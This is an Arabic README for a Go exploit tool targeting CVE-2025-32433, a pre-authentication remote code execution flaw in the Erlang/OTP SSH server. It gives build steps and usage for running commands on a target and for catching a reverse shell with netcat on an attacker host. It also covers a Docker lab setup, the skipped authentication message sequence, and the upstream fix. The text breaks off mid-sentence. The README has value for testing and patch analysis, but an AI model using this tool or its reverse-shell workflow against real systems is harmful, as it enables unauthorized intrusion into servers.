
استغلال مبني على Go لـ CVE-2025-32433
استغلال مكتوب بلغة Go لـ CVE-2025-32433 يُرجع شل باش عن بُعد.
مستلهم بشكل كبير من فهم الاستغلال المستمد من إثبات المفهوم لـ ProDefense لـ CVE-2025-32433.
make
يتم أيضًا توفير
exploit.exeلأجهزة ويندوز عبر Makefile التجميع المتقاطع.
ثم قم بتشغيل ملف الاستغلال الثنائي بإحدى طريقتين:
الأمر
./exploit <target-ip> <target-port> "<command>"
ملاحظة: لا يُرجع مخرجات الأمر
شل عكسي
nc -lnvp <attacker-port>
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>
باستخدام Dockerfile الخاص بـ ProDefense، يمكنك إعداد بيئة كالتالي:
docker build -t "cve-2025-32433:Dockerfile" .
docker run -p 2222:2222 cve-2025-32433:Dockerfile
يمكنك بعد ذلك تشغيل الاستغلال كما في قسم تشغيل الاستغلال: على سبيل المثال
nc -lnvp 4444
./exploit 127.0.0.1 2222 172.17.0.1 4444
172.17.0.1هو عنوان IP الافتراضي لمضيف Docker
TL;DR "المشكلة ناتجة عن خلل في معالجة رسائل بروتوكول SSH يسمح للمهاجم بإرسال رسائل بروتوكول الاتصال قبل المصادقة،"
إجراء SSH النموذجي:
SSH_MSG_KEXINIT
→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS
→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST
إجراء الاستغلال:
SSH_MSG_KEXINITSSH_MSG_CHANNEL_OPEN (قبل المصادقة)SSH_MSG_CHANNEL_REQUEST (قبل المصادقة) --> يحتوي على حمولة الأمرلاحظ أن جزء USERAUTH بأكمله يتم تخطيه في الاستغلال.
RFCs ذات الصلة برسائل SSH:


SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

تنسيق السلسلة (من RFC 4251: بنية بروتوكول Secure Shell (SSH))

الحشو

فيما يلي الإصلاح الذي تم إدخاله إلى مكتبات Erlang OTP في الالتزام ssh: early RCE fix:

يقدم الإصلاح عبارة handle_msg جديدة تلتقط، وفقًا لمعاملاتها:
Msg: متغير شامل لأي رسائل SSH واردة لم يتم مطابقتها بالفعل بعبارات سابقة (مثل #ssh_msg_disconnect{})#ssh{authenticated = false}: حالة الجلسة التي تطابق إذا لم يتم مصادقة الاتصال بعد.لن تلتقط العبارة الجلسات ذات authenticated = true، والتي تُرفق بالجلسة عندما يتلقى الخادم #ssh_msg_userauth_success{}:

والتي تُرسل بعد نجاح أي من طرق المصادقة التالية:
